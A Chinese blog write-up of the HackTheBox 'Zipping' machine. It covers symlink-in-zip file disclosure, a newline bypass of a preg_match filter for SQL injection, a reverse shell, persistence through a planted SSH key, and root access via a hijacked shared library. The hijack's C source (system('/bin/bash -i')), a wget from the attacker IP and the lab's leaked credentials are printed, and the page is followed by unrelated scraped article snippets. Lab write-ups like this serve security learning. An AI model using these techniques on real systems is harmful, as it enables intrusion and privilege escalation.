当前位置: 首页 > news >正文

Zipping

Zipping

  • 信息收集
    • 端口扫描
    • 目录扫描
    • webbanner信息收集
  • 漏洞利用
    • 空字节绕过---->失败
    • sqlI-preg_match bypass
      • 反弹shell
    • 稳定维持
  • 提权-共享库漏洞

参考:https://rouvin.gitbook.io/ibreakstuff/writeups/htb-season-2/zipping#sudo-privileges-greater-than-stock-binary
https://blog.csdn.net/qq_58869808/article/details/132790330

信息收集

端口扫描

在这里插入图片描述

目录扫描

这里记录一个爆破工具:gobuster
和一个字典:SecLists
在这里插入图片描述

webbanner信息收集

在这里插入图片描述
访问网站,发现存在以下输入框
在这里插入图片描述
这是个邮件发送界面,可能存在sql注入。
在这里插入图片描述
这个页面存在一个page参数,猜想可能存在LFI。
在这里插入图片描述
这是个文件上传界面,猜想可能存在文件上传。

漏洞利用

文件上传处只允许上传只包含pdf的zip压缩包
在这里插入图片描述我们可以创建符号链接来使用LFI:
我创建了一个名为test.pdf的符号链接,指向/etc/passwd,因为上传需要是一个包含pdf的zip文件。然后我创建了一个带有符号链接的zp文件:

ln -s ../../../../../../../../../../../etc/passwd test.pdf
zip -r --symlinks test.zip test.pdf
--symlinks 使pdf保持符号链接属性

在这里插入图片描述
上传成功并解压返回路径,访问uploads/bcf23e8aeb5be689d72908024cb8c1a8/test.pdf发现成功返回敏感文件。但是这个好像不能使用burp的重放发送包,必须通过浏览器请求,然后burp拦截响应包,不然它好像会删除。

在这里插入图片描述
能查看文件,我们首先查看 /var/www/html/upload.php。

/var/www/html/upload.php
<html>
<html lang="en">
<head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="description" content="Start your development with Creative Design landing page."><meta name="author" content="Devcrud"><title>Zipping | Watch store</title><!-- font icons --><link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css"><!-- Bootstrap + Creative Design main styles --><link rel="stylesheet" href="assets/css/creative-design.css"></head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home"><!-- Page Header --><header class="header header-mini"> <div class="header-title">Work with Us</div> <nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item"><a href="index.php">Home</a></li><li class="breadcrumb-item active" aria-current="page">Work with Us</li></ol></nav></header> <!-- End Of Page Header --><section id="work" class="text-center"><!-- container --><div class="container"><h1>WORK WITH US</h1><p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p><?phpif(isset($_POST['submit'])) {// Get the uploaded zip file$zipFile = $_FILES['zipFile']['tmp_name'];if ($_FILES["zipFile"]["size"] > 300000) {echo "<p>File size must be less than 300,000 bytes.</p>";} else {// Create an md5 hash of the zip file$fileHash = md5_file($zipFile);// Create a new directory for the extracted files$uploadDir = "uploads/$fileHash/";$tmpDir = sys_get_temp_dir();// Extract the files from the zip$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {$uploadPath = $tmpDir.'/'.$uploadDir;echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');if (file_exists($uploadPath.$fileName)) {mkdir($uploadDir);rename($uploadPath.$fileName, $uploadDir.$fileName);}echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have  a .pdf extension.</p>";}}} else {echo "Error uploading file.";}}}?><!-- Submit File --><form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php"><div class="mb-3"><input type="file" class="form-control" name="zipFile" accept=".zip"></div><button type="submit" class="btn btn-primary" name="submit">Upload</button></form><!-- End submit file --></div><!-- End of Container-->      </section><!-- End of Contact Section --><!-- Section --><section class="pb-0"><!-- Container --><div class="container"><!-- Pre footer --><div class="pre-footer"><ul class="list"><li class="list-head"><h6 class="font-weight-bold">ABOUT US</h6></li><li class="list-body"><p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>  <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">USEFUL LINKS</h6></li><li class="list-body"><div class="row"><div class="col"><a href="#">Link 1</a><a href="#">Link 2</a><a href="#">Link 3</a><a href="#">Link 4</a></div><div class="col"><a href="#">Link 5</a><a href="#">Link 6</a><a href="#">Link 7</a><a href="#">Link 8</a></div></div></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">CONTACT INFO</h6></li><li class="list-body"><p>Contact us and we'll get back to you within 24 hours.</p><p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p><p><i class="ti-email"></i>  info@website.com</p><div class="social-links"><a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a><a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-google"></i></a><a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a><a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a></div></li></ul> </div><!-- End of Pre footer -->            <!-- foooter --><footer class="footer"><p>Made by <a href="https://github.com/xdann1">xDaNN1</p></footer><!-- End of Footer-->      </div><!--End of Container -->      </section><!-- End of Section -->
</body>
</html>

接下来分别查看shop的源码,

/var/www/html/shop/index.php                
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

functions.php

<?php
function pdo_connect_mysql() {// Update the details below with your MySQL details$DATABASE_HOST = 'localhost';$DATABASE_USER = 'root';$DATABASE_PASS = 'MySQL_P@ssw0rd!';$DATABASE_NAME = 'zipping';
<TRUNCATED>

home.php

<?php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>
<div class="featured"><h2>Watches</h2><p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper"><h2>Recently Added Products</h2><div class="products"><?php foreach ($recently_added_products as $product): ?><a href="index.php?page=product&id=<?=$product['id']?>" class="product"><img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>"><span class="name"><?=$product['name']?></span><span class="price">&dollar;<?=$product['price']?><?php if ($product['rrp'] > 0): ?><span class="rrp">&dollar;<?=$product['rrp']?></span><?php endif; ?></span></a><?php endforeach; ?></div>
</div>

在functions.php我们发现账号密码尝试使用ssh连接失败。
在home.php没有对用户控制的 id 参数进行任何输入验证。当我们在商店中尝试通过 ’ 字符进行 SQL 注入 并在 Burp 中渲染它时,我们会看到:
在这里插入图片描述
这说明sql注入是存在的,目录爆破id参数处理的位置。
然后,我们可以使用PDF LFI阅读product.php

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {$id = $_GET['id'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {header('Location: index.php');} else {// Prepare statement and execute, but does not prevent SQL injection$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");$stmt->execute();// Fetch the product from the database and return the result as an Array$product = $stmt->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if (!$product) {// Simple error to display if the id for the product doesn't exists (array is empty)exit('Product does not exist!');}}
} else {// Simple error to display if the id wasn't specifiedexit('No ID provided!');
}
?>

那里的正则表达式看起来很难绕过,再加上盒子名称是Zipping的事实,很明显这不是预期的方法。

空字节绕过---->失败

回到文件上传,发现upload.php唯一存在的检查是pathinfo函数,它可以被绕过。

$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {mkdir($uploadDir);echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have  a .pdf extension.</p>";}

我们制作一个webshell,将其文件扩展名设置为.phpD.pdf。压缩webshell文件。
在这里插入图片描述
之后,我们在数据包即将发送时拦截数据包并将传输转换为十六进制格式,通过将其转换为空字节来有效地规避它。
在这里插入图片描述
在这里插入图片描述
当我们点击“输入”时,我们会发现我们输入的页面不存在,这是因为不正确的链接。但是,通过删除“%20.pdf”,按理说这里是可以访问成功的,但屡次尝试后失败,发现官网修复了。
在这里插入图片描述
那我们就继续读源码,审计源码
这里使用Som3B0dy师傅的脚本

/var/www/html/cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if ($product && $quantity > 0) {// Product exists in database, now we can create/update the session variable for the cartif (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {if (array_key_exists($product_id, $_SESSION['cart'])) {// Product exists in cart so just update the quanity$_SESSION['cart'][$product_id] += $quantity;} else {// Product is not in cart so add it$_SESSION['cart'][$product_id] = $quantity;}} else {// There are no products in cart, this will add the first product to cart$_SESSION['cart'] = array($product_id => $quantity);}}// Prevent form resubmission...header('location: index.php?page=cart');exit;}
}// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {// Remove the product from the shopping cartunset($_SESSION['cart'][$_GET['remove']]);
}// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {// Loop through the post data so we can update the quantities for every product in cartforeach ($_POST as $k => $v) {if (strpos($k, 'quantity') !== false && is_numeric($v)) {$id = str_replace('quantity-', '', $k);$quantity = (int)$v;// Always do checks and validationif (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {// Update new quantity$_SESSION['cart'][$id] = $quantity;}}}// Prevent form resubmission...header('location: index.php?page=cart');exit;
}// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {header('Location: index.php?page=placeorder');exit;
}if (isset($_POST['clear'])) {unset($_SESSION['cart']);
}// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {// There are products in the cart so we need to select those products from the database// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');// We only need the array keys, not the values, the keys are the id's of the products$stmt->execute(array_keys($products_in_cart));// Fetch the products from the database and return the result as an Array$products = $stmt->fetchAll(PDO::FETCH_ASSOC);// Calculate the subtotalforeach ($products as $product) {$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];}
}
?><?=template_header('Zipping | Cart')?><div class="cart content-wrapper"><h1>Shopping Cart</h1><form action="index.php?page=cart" method="post"><table><thead><tr><td colspan="2">Product</td><td>Price</td><td>Quantity</td><td>Total</td></tr></thead><tbody><?php if (empty($products)): ?><tr><td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td></tr><?php else: ?><?php foreach ($products as $product): ?><tr><td class="img"><a href="index.php?page=product&id=<?=$product['id']?>"><img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>"></a></td><td><a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a><br><a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a></td><td class="price">&dollar;<?=$product['price']?></td><td class="quantity"><input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required></td><td class="price">&dollar;<?=$product['price'] * $products_in_cart[$product['id']]?></td></tr><?php endforeach; ?><?php endif; ?></tbody></table><div class="subtotal"><span class="text">Subtotal</span><span class="price">&dollar;<?=$subtotal?></span></div><div class="buttons"><input type="submit" value="Update" name="update"><input type="submit" value="Place Order" name="placeorder"><input type="submit" value="Clear" name="clear" onsubmit=""></div></form>
</div>
<?=template_footer()?>

sqlI-preg_match bypass

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)

我们要绕过这个preg_match,只需要在payload 前面输入%0a,就能绕过检测了,
但是注意这个 preg_match,会检查最后一个字符是以数字结尾的所以我们的payload,需要以数字结尾
并且我们写文件的路径需要是mysql可以写的目录
secure_file_priv 这个变量的值,在linux下,默认路径基本上都是 /var/lib/mysql
在这里插入图片描述
在这里插入图片描述

反弹shell

在这里插入图片描述
在这里插入图片描述
蚁剑连接
在这里插入图片描述
在这里插入图片描述

稳定维持

可能是不只我一个人在打,所以访问极不稳定,为了确保稳定和安全的连接,我们将授权密钥加载到 SSH 中。
本地执行命令,生成rsa密钥对

ssh-keygen -t rsa

一路回车后就会在~/.ssh/目录下生成私钥文件:id_rsa与公钥文件:id_rsa.pub,复制id_rsa.pub的内容,这里的内容需要加入到远程电脑中
创建authorized_keys或将/usr/share/man/man5/authorized_keys.5.gz里的提取出来改名成authorized_keys,将id_rsa.pub的内容粘贴到authorized_keys中去
在这里插入图片描述
将authorized_keys上传至目标机器的~/.ssh
在这里插入图片描述
这样kali就可无密连接ssh
在这里插入图片描述
在/home/rektsu目录下找到user.txt,提交第一个flag.

提权-共享库漏洞

检查sudo权限sudo -l,注意到我们对“/stock”具有root访问权限
在这里插入图片描述
我试着运行,发现其总是说没有输入正密码,但我没输入,他就弹出了
在这里插入图片描述
使用stringsltrace分析程序,从程序中提取可读文本。发现密码:St0ckM4nager
在这里插入图片描述
运行stock,输入密码,其功能就是查看一些信息,编辑一些信息。
在这里插入图片描述
使用strace可以看到这个程序,跑起来的时候的系统调用

可以看到,整个程序运行的时候,引入了 /home/rektsu/.config/libcounter.so这个文件
maybe,我们可以做一些劫持
https://tbhaxor.com/exploiting-shared-library-misconfigurations/

priv-esclation.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void method()__attribute__((constructor)); 
void method() {system("/bin/bash -i");
}

由于我们已经使用sudo运行它,
因此无需使用setuid或setgid之后,使用它编译它并将其下载到/home/rektsu/.config
文件夹中:

#上传至目标机器上去执行
wget 10.10.16.5/priv-esclation.c 
gcc -shared -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c

然后,我们可以运行stock来获得一个根shell:
在这里插入图片描述

相关文章:

Zipping

Zipping 信息收集端口扫描目录扫描webbanner信息收集 漏洞利用空字节绕过---->失败sqlI-preg_match bypass反弹shell 稳定维持 提权-共享库漏洞 参考&#xff1a;https://rouvin.gitbook.io/ibreakstuff/writeups/htb-season-2/zipping#sudo-privileges-greater-than-stock-…...

pytorch学习---实现线性回归初体验

假设我们的基础模型就是y wx b,其中w和b均为参数&#xff0c;我们使用y 3x0.8来构造数据x、y&#xff0c;所以最后通过模型应该能够得出w和b应该分别接近3和0.8。 步骤如下&#xff1a; 准备数据计算预测值计算损失&#xff0c;把参数的梯度置为0&#xff0c;进行反向传播…...

别再乱写git commit了

B站|公众号&#xff1a;啥都会一点的研究生 写在前面 在很长的一段时间中&#xff0c;使用git commit都是随心所欲&#xff0c;log肥肠简洁&#xff0c;随着代码的迭代&#xff0c;当时有多偷懒&#xff0c;返过头查看git日志就有多懊悔&#xff0c;就和写代码不写doc string…...

八大排序(一)冒泡排序,选择排序,插入排序,希尔排序

一、冒泡排序 冒泡排序的原理是&#xff1a;从左到右&#xff0c;相邻元素进行比较。每次比较一轮&#xff0c;就会找到序列中最大的一个或最小的一个。这个数就会从序列的最右边冒出来。 以从小到大排序为例&#xff0c;第一轮比较后&#xff0c;所有数中最大的那个数就会浮…...

泊松分布简要介绍

泊松分布是一种常见的离散概率分布&#xff0c;它用于描述某个时间段或区域内随机事件发生的次数。它得名于法国数学家西蒙丹尼泊松。 泊松分布的概率质量函数表示某个时间段或区域内事件发生次数的概率。如果随机变量 X 服从泊松分布&#xff0c;记作 X ~ Poisson(λ)&#x…...

C语言每日一题(10):无人生还

文章主题&#xff1a;无人生还&#x1f525;所属专栏&#xff1a;C语言每日一题&#x1f4d7;作者简介&#xff1a;每天不定时更新C语言的小白一枚&#xff0c;记录分享自己每天的所思所想&#x1f604;&#x1f3b6;个人主页&#xff1a;[₽]的个人主页&#x1f3c4;&#x1f…...

VSCode开发go手记

断点调试&#xff1a; 安装delve&#xff08;windows&#xff09;&#xff1a; go get -u github.com/go-delve/delve/cmd/dlv 设置 launch.json 配置文件&#xff1a; ctrlshiftp 输入 Debug: Open launch.json 打开 launch.json 文件&#xff0c;如果第一次打开,会新建一…...

怎么选择AI伪原创工具-AI伪原创工具有哪些

在数字时代&#xff0c;创作和发布内容已经成为了一种不可或缺的活动。不论您是个人博主、企业家还是网站管理员&#xff0c;都会面临一个共同的挑战&#xff1a;如何在互联网上脱颖而出&#xff0c;吸引更多的读者和访客。而正是在这个背景下&#xff0c;AI伪原创工具逐渐崭露…...

【块状链表C++】文本编辑器(指针中 引用 的使用)

》》》算法竞赛 /*** file * author jUicE_g2R(qq:3406291309)————彬(bin-必应)* 一个某双流一大学通信与信息专业大二在读 * * brief 一直在竞赛算法学习的路上* * copyright 2023.9* COPYRIGHT 原创技术笔记&#xff1a;转载…...

echarts的Y轴设置为整数

场景&#xff1a;使用echarts&#xff0c;设置Y轴为整数。通过判断Y轴的数值为整数才显示即可 yAxis: [{name: ,type: value,min: 0, // 最小值// max: 200, // 最大值// splitNumber: 5, // 坐标轴的分割段数// interval: 100 / 5, // 强制设置坐标轴分割间隔度(取本Y轴的最大…...

恢复删除文件?不得不掌握的4个方法!

“删除了的文件还可以恢复吗&#xff1f;有个文件我本来以为不重要了&#xff0c;就把它删除了&#xff0c;没想到现在还需要用到&#xff01;这可怎么办&#xff1f;有没有办法找回来呢&#xff1f;” 重要的文件一旦丢失或误删可能都会对我们的工作和学习造成比较大的影响。怎…...

GitLab CI/CD:.gitlab-ci.yml 文件常用参数小结

文章目录 一、.gitlab-ci.yml 文件作用二、一个简单的.gitlab-ci.yml 文件示例参考 一、.gitlab-ci.yml 文件作用 可以定义跑CI时想要运行的命令或脚本 可以定义job之间的依赖和缓存 可以执行程序部署并定义部署位置 可以定义想要包含的其他配置文件和模版 二、一个简单的.gi…...

MySQL学习笔记9

MySQL数据表中的数据类型&#xff1a; 在考虑数据类型、长度、标度和精度时&#xff0c;一定要仔细地进行短期和长远的规划&#xff0c;另外&#xff0c;公司制度和希望用户用什么方式访问数据也是要考虑的因素。开发人员应该了解数据的本质&#xff0c;以及数据在数据库里是如…...

从零学习开发一个RISC-V操作系统(三)丨嵌入式操作系统开发的常用概念和工具

本篇文章的内容 一、嵌入式操作习系统开发的常用概念和工具1.1 本地编译和交叉编译1.2 调试器GDB&#xff08;The GNU Project Debugger&#xff09;1.3 QEMU模拟器1.4 项目构造工具Make 本系列是博主参考B站课程学习开发一个RISC-V的操作系统的学习笔记&#xff0c;计划从RISC…...

小米机型解锁bl 跳“168小时”限制 操作步骤分析

写到前面的安全提示 了解解锁bl后的风险&#xff1a; 解锁设备后将允许修改系统重要组件&#xff0c;并有可能在一定程度上导致设备受损&#xff1b;解锁后设备安全性将失去保证&#xff0c;易受恶意软件攻击&#xff0c;从而导致个人隐私数据泄露&#xff1b;解锁后部分对系…...

基础练习 回文数

问题描述 1221是一个非常特殊的数&#xff0c;它从左边读和从右边读是一样的&#xff0c;编程求所有这样的四位十进制数。 输出格式 按从小到大的顺序输出满足条件的四位十进制数。 solution1 #include <stdio.h> int main(){int n 1000, n1, n2, n3, n4;while(n &…...

解决Spring Boot 2.7.16 在服务器显示启动成功无法访问问题:从本地到服务器的部署坑

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…...

洛谷P5661:公交换乘 ← CSP-J 2019 复赛第2题

【题目来源】https://www.luogu.com.cn/problem/P5661https://www.acwing.com/problem/content/1164/【题目描述】 著名旅游城市 B 市为了鼓励大家采用公共交通方式出行&#xff0c;推出了一种地铁换乘公交车的优惠方案&#xff1a; 1.在搭乘一次地铁后可以获得一张优惠票&…...

mysql优化之索引

索引官方定义&#xff1a;索引是帮助mysql高效获取数据的数据结构。 索引的目的在于提高查询效率&#xff0c;可以类比字典。 可以简单理解为&#xff1a;排好序的快速查找数据结构 在数据之外&#xff0c;数据库系统还维护着满足特定查找算法的数据结构&#xff0c;这种数据…...

文件系统详解

目录 文件系统&#xff08;1&#xff09; 第一节文件系统的基本概念 一、文件系统的任务 二、文件的存储介质及存储方式 三、文件的分类 第二节 文件的逻辑结构和物理结构 一、文件的逻辑结构 二、文件的物理结构 文件系统&#xff08;2&#xff09; 第三节 文件目…...

NifSkope终极指南:为什么这款免费开源3D模型编辑器能彻底改变你的游戏模组制作体验

NifSkope终极指南&#xff1a;为什么这款免费开源3D模型编辑器能彻底改变你的游戏模组制作体验 【免费下载链接】nifskope A git repository for nifskope. 项目地址: https://gitcode.com/gh_mirrors/ni/nifskope 你是否曾为《上古卷轴》或《辐射》系列的模型文件格式头…...

【数据可视化实战】从API到图表:一步步构建奥运奖牌榜与运动员数据分析平台

1. 数据获取&#xff1a;从API到结构化数据 做数据分析的第一步永远是获取数据。这次我们选择奥运奖牌榜和运动员数据作为案例&#xff0c;主要是因为这类数据公开透明且结构清晰&#xff0c;非常适合新手练手。我实测下来&#xff0c;咪咕视频的奥运数据接口非常稳定&#xf…...

从‘轮胎压力传感器’到‘魔数饼干’:手把手拆解SOME/IP协议栈的五个核心通信模型

从轮胎压力到魔数饼干&#xff1a;SOME/IP协议栈五大通信模型实战解码 1. 引言&#xff1a;当汽车电子遇上分布式通信 想象一下&#xff0c;你驾驶的现代汽车正以每小时100公里的速度飞驰&#xff0c;此时轮胎压力监测系统突然检测到右前轮气压异常。这个信号需要以毫秒级速度传…...

移动系统设计终极指南:从需求分析到架构实现的5个关键步骤

移动系统设计终极指南&#xff1a;从需求分析到架构实现的5个关键步骤 【免费下载链接】mobile-system-design A simple framework for mobile system design interviews 项目地址: https://gitcode.com/gh_mirrors/mo/mobile-system-design GitHub 加速计划 / mo / mob…...

Windows包管理器自动化部署指南:从痛点解决到企业级应用

Windows包管理器自动化部署指南&#xff1a;从痛点解决到企业级应用 【免费下载链接】winget-install Install WinGet using PowerShell! Prerequisites automatically installed. Works on Windows 10/11 and Server 2019/2022. 项目地址: https://gitcode.com/gh_mirrors/w…...

[Linux][虚拟串口]x一个特殊的字节辟

简介 langchain专门用于构建LLM大语言模型&#xff0c;其中提供了大量的prompt模板&#xff0c;和组件&#xff0c;通过chain(链)的方式将流程连接起来&#xff0c;操作简单&#xff0c;开发便捷。 环境配置 安装langchain框架 pip install langchain langchain-community 其中…...

哔哩下载姬DownKyi:免费B站视频下载工具,轻松获取8K超高清内容

哔哩下载姬DownKyi&#xff1a;免费B站视频下载工具&#xff0c;轻松获取8K超高清内容 【免费下载链接】downkyi 哔哩下载姬downkyi&#xff0c;哔哩哔哩网站视频下载工具&#xff0c;支持批量下载&#xff0c;支持8K、HDR、杜比视界&#xff0c;提供工具箱&#xff08;音视频提…...

VisualCppRedist AIO:终极Windows运行时依赖一站式解决方案

VisualCppRedist AIO&#xff1a;终极Windows运行时依赖一站式解决方案 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist VisualCppRedist AIO是一个革命性的开源项…...

Go语言SQL构建器goqu与标准库sql对比:为什么选择SQL构建器的完整指南

Go语言SQL构建器goqu与标准库sql对比&#xff1a;为什么选择SQL构建器的完整指南 【免费下载链接】goqu SQL builder and query library for golang 项目地址: https://gitcode.com/gh_mirrors/go/goqu 在Go语言开发中&#xff0c;数据库操作是每个后端开发者必须面对的…...

ROS usb_cam像素格式终极指南:从YUV、MJPEG到源码修改,彻底告别警告和花屏

ROS usb_cam像素格式终极指南&#xff1a;从YUV、MJPEG到源码修改&#xff0c;彻底告别警告和花屏 当你在ROS中调用UVC摄像头时&#xff0c;是否遇到过图像花屏或终端不断弹出"deprecated pixel format"警告&#xff1f;这些问题往往源于对像素格式的误解或配置不当。…...